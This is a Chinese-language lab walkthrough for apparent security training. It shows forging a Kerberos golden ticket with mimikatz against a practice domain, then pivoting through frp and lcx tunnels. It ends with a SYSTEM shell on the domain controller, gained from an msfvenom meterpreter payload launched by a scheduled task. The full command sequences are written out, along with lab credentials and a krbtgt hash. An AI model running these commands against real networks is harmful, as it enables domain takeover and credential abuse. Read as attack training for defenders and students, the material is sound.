通过使用mimikatz的Kerberos模块伪造黄金票据,获取到域控服务器的c盘访问权限,并利用metasploit拿下域控的shell,了解并掌握黄金票据的原理,符合实验预期。
黄金票据
在网络安全领域,黄金票据是指能够绕过认证授权(Authentication and Authorization)机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。黄金票据通常是如下两种情况之一:
Kerberos黄金票据:Kerberos黄金票据是指攻击者通过攻击目标主机的 Kerberos 服务,获取了有效 TGT (Ticket-Granting Ticket) 的凭证,从而能够有效绕过其他系统控制机制而直接访问目标系统的所有资源。攻击者通常会在目标主机上运行恶意软件或使用其他恶意攻击手段,通过收集系统中存在的凭证或使用暴力破解等方式获取有效 TGT 凭证。
Windows漏洞利用中的票据提权:票据提权是指攻击者利用已获得的权限或漏洞,获取更高权限的方法。在 Windows 系统中,存在许多突破用户权限或绕过系统保护机制的漏洞,攻击者可以通过利用这些漏洞,提升自己的权限并获取黄金票据。攻击者通常可以通过获得 NTLM哈希值进行票据提权,或利用 Kerberos 明文密码的漏洞等手段进行攻击。
黄金票据是一种危险的攻击形式,被攻击者利用后将对系统产生巨大威胁,因此需要采取一些措施来防止此类攻击。例如,需要定期更新密码和凭证、强化系统访问控制机制、禁用不必要的账户和服务等。同时,还需要采用一些高级安全解决方案,如使用网络监控软件来捕捉可疑事件、部署防火墙和入侵检测设备等对系统进行保护。
服务器:Windows Server 2008 1台;防火墙 1台;Windows 10 2台;Windows 2016 1台;
交换机/路由:交换机 4台;路由器 1台;
软件:mimikatz;metasploit;lcx;
1.利用mimikatz内存注入黄金票据
2.利用mimikatz伪造黄金票据文件
3.利用任务计划执行木马拿shell
单击上方菜单栏中的【环境申请】按钮启动实验拓扑,选择拓扑图中左下方的【攻击机2-Windows】,按右键,在弹出的菜单中选择【控制台】,登录【攻击机2-Windows】界面。
双击打开攻击机2-windows桌面【工具】的【frp】文件夹,在该文件夹空白处,右键弹出菜单,选择【在此处打开命令提示符】。
在命令提示符窗口中,输入以下命令,开启本地服务端代理监听7000端口。
frps -c frps.ini
输入以下命令并按下回车,远程连接目标服务器的SSH202.1.10.57服务器,ssh用户名为【test】,密码为【Com.1234】。如下图所示。
ssh [email protected]
输入以下命令并按多次回车,执行frpc客户端与服务端连接。
frpc -c /tmp/frpc.ini &
输入以下命令并按多次回车,在网站门户2中开启frp服务端程序。
frps -c /tmp/frps.ini &
双击打开桌面上的远程桌面,下拉【计算机】,选择【202.1.10.34】,单击【连接】按钮,连接目标202.1.10.34服务器。
进入远程桌面窗口,关闭服务器管理器窗口,在桌面shift+右键弹出菜单,选择【在此处打开命令提示符】。
输入命令并按回车,在网站门户1中开启frp客户端程序。
frpc -c frpc.ini
依次双击打开桌面上的【工具】→【SocksCap64-4.7】文件夹,并双击打开【SocksCap64.exe】socks代理客户端软件。
注:打开SocksCap64.exe会有些慢。
在socks代理客户端软件窗口中,双击【远程桌面连接*32】图标。
弹出远程桌面连接窗口,在计算机下拉框选择【10.0.18.22:1111】,完成后按回车。
注:在第八单元的8.2子任务中将LCX添加注册表启动项,由本地3389端口转发本地1111端口,绕过防火墙限制。
等待目标远程连接。
等待目标远程连接后,弹出内网10.0.18.22窗口界面。
进入内网10.0.18.22远程窗口界面后,打开桌面上的【此电脑】,在地址栏输入【%userprofile%\AppData】并按回车进入C:\Users\xiaowang.ZHIDA\AppData目录,在该文件夹内右键选择【在此处打开命令提示符】。
弹出命令提示符窗口,输入以下命令并按回车,访问域控服务器的C盘提示是【拒绝访问】。
dir \\windows2016\c$
输入以下命令并按回车,查看域的SID值,域的SID值为S-1-5-21-878559410-3699841954-1022336717。
wmic useraccount list brief
注:构造黄金票据条件需域的SID值、 Kerberos的hash及域名。
SID:S-1-5-域-500,Administrator:系统管理员的用户帐户。默认情况下,它是唯一能够完全控制系统的用户帐户。
SID:S-1-5-域-501,Guest:无个人帐户的人员的用户帐户。此用户帐户不需要密码。默认情况下,Guest 帐户被禁用。
SID:S-1-5-域-502,KRBTGT:密钥分发中心 (KDC) 服务使用的服务帐户。
回到攻击机2-windows界面,双击打开桌面的secretsdump.txt,可看到Kerberos的hash值为304392e3c522896aa203cc5b78aed5f3。
注:构造黄金票据条件需域的SID值、 Kerberos的hash及域名。
secretsdump.txt由第十单元的子任务10.2获得域所有用户的hash值。
回到内网10.0.18.22远程窗口界面,在命令提示符窗口下,输入命令并按回车,清空当前所有票据。
klist purge
输入命令并按回车,利用mimikatz的kerberos模块伪造黄金票据。
mimikatz.exe "kerberos::golden /admin:administrator /domain:zhida.com /sid:S-1-5-21-878559410-3699841954-1022336717 /krbtgt:304392e3c522896aa203cc5b78aed5f3 /ptt" exit
注:以下为mimikatz的kerberos模块参数详解:
/admin=随意指定用户名。
/sid=指定域的sid值。
/krbtgt=指定kerberos的hash值。
/ptt=表示的是Psss TheTicket攻击,是把生成的票据导入内存。
输入以下命令并按回车,访问域控服务器的C盘,成功访问域控服务器的C盘目录,伪造黄金票据成功。
dir \\windows2016\c$
在命令提示符窗口下,输入命令并按回车,清空当前所有票据。
klist purge
输入以下命令并按回车,检测票据是否删除,结果为访问域控服务器的C盘提示是【拒绝访问】。
dir \\windows2016\c$
输入命令并按回车,利用mimikatz的kerberos模块伪造黄金票据并在当前目录下生成名为ticket.kiribi。
mimikatz.exe "kerberos::golden /admin:administrator /domain:zhida.com /sid:S-1-5-21-878559410-3699841954-1022336717 /krbtgt:304392e3c522896aa203cc5b78aed5f3" exit
注:以下为mimikatz的kerberos模块参数详解:
/admin=随意指定用户名。
/sid=指定域的sid值。
/krbtgt=指定kerberos的hash值。
输入以下命令并按回车,利用mimikatz清除票据,再导入ticket.kirbi这个文件进行注入。
mimikatz.exe "kerberos::purge" "kerberos::ptt ticket.kirbi" exit
输入以下命令并按回车,访问域控服务器的C盘,成功访问域控服务器的C盘目录,伪造黄金票据成功。
dir \\windows2016\c$
回到攻击机2-Windows界面,在桌面右键弹出菜单,选择【在此处打开命令提示符】。
输入以下命令并按回车,在桌面生成Windows正向连接shell.exe文件木马。
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9998 -f exe -o shell.exe
回到socks代理客户端界面,双击【Windows 命令处理程序 *32】图标,打开命令提示符窗口,使用socks代理DOS命令程序。
输入msfconsole命令并按下回车键,进入Metasploit控制台界面。
使用use参数选择指定模块,输入以下命令选择指定监听模块并按下回车,进入该模块如下图所示。
use exploit/multi/handler
输入以下命令并按回车,使用set命令,更改payload为windows/x64/meterpreter/bind_tcp。
set payload windows/x64/meterpreter/bind_tcp
输入以下命令并按回车,使用set命令设置目标监听IP。
set rhost 10.0.18.22
输入以下命令并按回车,使用set命令设置目标监听端口。
set lport 9998
使用options命令,查看是否已设置正确。
将生成的shell.exe文件复制到C:\Users\xiaowang.ZHIDA\AppData目录下。
在命令提示符窗口下,输入以下命令并按回车,使用copy命令上传至域控服务器的C盘域管理员的AppData目录下。
copy shell.exe \\windows2016\c$\Users\Administrator\AppData
输入以下命令并按回车,创建在域中计划任务执行域控服务器上的C:\Users\Administrator\AppData\shell.exe并命名为test。
schtasks /create /s windows2016.zhida.com /tn test /sc onstart /tr C:\Users\Administrator\AppData\shell.exe /ru system /f
输入以下命令并按回车,执行在域控服务器中test的计划任务。
schtasks /run /s windows2016.zhida.com /i /tn "test"
输入以下命令并按回车,使用lcx端口转发工具,转发由域控服务器的9998端口至内网主机【10.0.18.22】本地端口9998端口,下图所示。
lcx -tran 9998 10.0.30.169 9998
回到Measploit窗口,输入run命令后,返回了一个session会话。
注:多按几次回车,直至进入meterpreter模块。
在meterpreter模块中输入shell命令,进入cmd控制台,并输入whoami按回车,返回当前用户为system。
输入ipconfig命令,查看当前IP地址为10.0.30.169为域控服务器内网IP地址。
通过上述操作,使用mimikatz的Kerberos模块伪造黄金票据,获取到域控服务器的c盘访问权限,并利用metasploit拿下域控的shell,了解并掌握黄金票据的原理,符合实验预期。